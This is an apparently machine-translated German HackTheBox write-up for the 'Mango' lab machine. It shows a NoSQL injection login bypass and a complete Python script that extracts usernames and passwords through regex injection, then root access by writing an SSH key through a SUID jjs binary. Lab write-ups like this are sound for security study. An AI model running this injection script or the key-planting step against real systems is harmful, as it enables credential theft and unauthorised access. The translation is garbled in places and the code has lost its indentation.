Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden .In diesem Artikel nutzen wir die NoSQL-Injection in Form einer Autorisierung und erhöhen die Berechtigungen durch JJS.Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)Organisationsinformationen, ,
Telegram . , ,
.
. , - , .
Aufklärung
Dieser Computer hat eine IP-Adresse 10.10.10.162, die ich zu / etc / hosts hinzufüge.10.10.10.162 mango.htb
Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162 --rate=1000
Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.nmap -A mango.htb -p22,80,443
Schauen wir uns zunächst die Website an. Beim Zugriff auf mango.htb werfen sie uns von http auf https und sprechen über ein Problem mit dem Zertifikat. Wenn Sie den Risiken zustimmen, können Sie diese Seite sehen.
Aber nichts interessanteres. Der nmap-Scan zeigt SSL-Zertifikat-Informationen an, in denen die Domäne angegeben ist. Fügen Sie es zu / etc / hosts hinzu.10.10.10.162 staging-order.mango.htb
Und mal sehen, was da ist.
Es gibt ein Autorisierungsformular - einen möglichen Einstiegspunkt.Einstiegspunkt
Wir versuchen verschiedene Injektionstechniken, um die Autorisierung zu umgehen. Und wir finden die Standard-NoSql-Injektion, indem wir die Reaktion mit zwei Bedingungen vergleichen: Login ist 123, Passwort ist 123 und Login ist nicht 123, Passwort ist nicht 123.
Und nach dem erfolgreichen wahren Ergebnis der zweiten Bedingung erhalten wir eine Weiterleitung zu home.php. Somit ist eine NoSql-Injektion möglich.
Da die Seite nichts Interessantes enthält, können wir dieser Sicherheitsanfälligkeit nur Anmeldungen und Kennwörter entziehen.BENUTZER
Sehen wir uns die Länge der maximalen Benutzernamen und Passwörter an. Dazu können Sie die folgenden Konstrukte verwenden:login [$ regex] =. {Length} & password [$ ne] = 123 - für die Anmeldung (ein Vergleich der regulären Ausdrücke für die Anmeldung wird durchgeführt und das Kennwort ist ungültig);Login [$ ne] = 123; Passwort [$ regex] =. {Länge} für das Passwort.Lass es uns mit einem Rülpsen-Eindringling machen.

Somit beträgt die Länge des längsten Logins 5 Zeichen. Nachdem wir die gleichen Vorgänge für das Kennwort ausgeführt haben, stellen wir fest, dass die Länge der längsten 16 Zeichen beträgt.
Da es zu lang ist, um es mit Ihren Händen zu klären, werden wir ein Python-Skript schreiben. Zuerst werden wir eine Sitzung für die Arbeit machen.import string
import requests
alfa = string.printable
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
Als nächstes implementieren wir eine Funktion zum Auflisten von Anmeldungen. Die Iteration wird mit dem folgenden regulären Ausdruck ^ name durchgeführt. * - Auf diese Weise wird jeweils ein Zeichen gestreckt.def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
Und eine ähnliche Funktion, nur mit dem gefundenen Login.def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
VOLLSTÄNDIGER CODE:
import string
import requests
alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'
r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}
logins = []
def logins_find(login):
is_find = False
for char in alfa[:62]:
data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
resp = r.post(URL, data=data)
print('login: %s ' % (login+char), end='\r')
if len(resp.history):
is_find = True
logins_find(login+char)
if not is_find:
print('login found: %s ' % (login))
logins.append(login)
def passwords_find(login, password):
is_find = False
for char in alfa:
if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
char = '\\' + char
data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
resp = r.post(URL, data=data)
print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
if len(resp.history):
is_find = True
passwords_find(login, password+char)
if not is_find:
print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
print("SEARCH logins:")
logins_find("")
print("\nSEARCH passwords:")
[ passwords_find(login, "") for login in logins ]
Infolgedessen finden wir die Anmeldeinformationen von zwei Benutzern.
Wir stellen erfolgreich eine Verbindung zu den Anmeldeinformationen über SSH her.
Wir haben ein Passwort vom zweiten Benutzer, aber es erlaubt keine Anmeldung über SSH. Wir versuchen, den Benutzer lokal zu ändern, indem wir das uns bekannte Passwort eingeben.
WURZEL
Lassen Sie uns die grundlegende Aufzählung mit dem LinEnum- Skript durchführen .
Und wir finden das Programm mit dem gesetzten S-Bit.
Überprüfen Sie JJS zum Beispiel GTFOBins .
Es gibt auch Beispiele für den Betrieb. Die lokale Shell aufrufen funktionierte nicht. Sie können jedoch SSH-Schlüssel generieren, public in /root/.ssh/authorized_keys schreiben und eine Verbindung über private herstellen.
Zählen wir den öffentlichen Schlüssel.
Und jetzt schreib es auf.
Und jetzt als root verbinden.
Sie können sich uns per Telegramm anschließen. Dort finden Sie interessante Materialien, zusammengeführte Kurse sowie Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.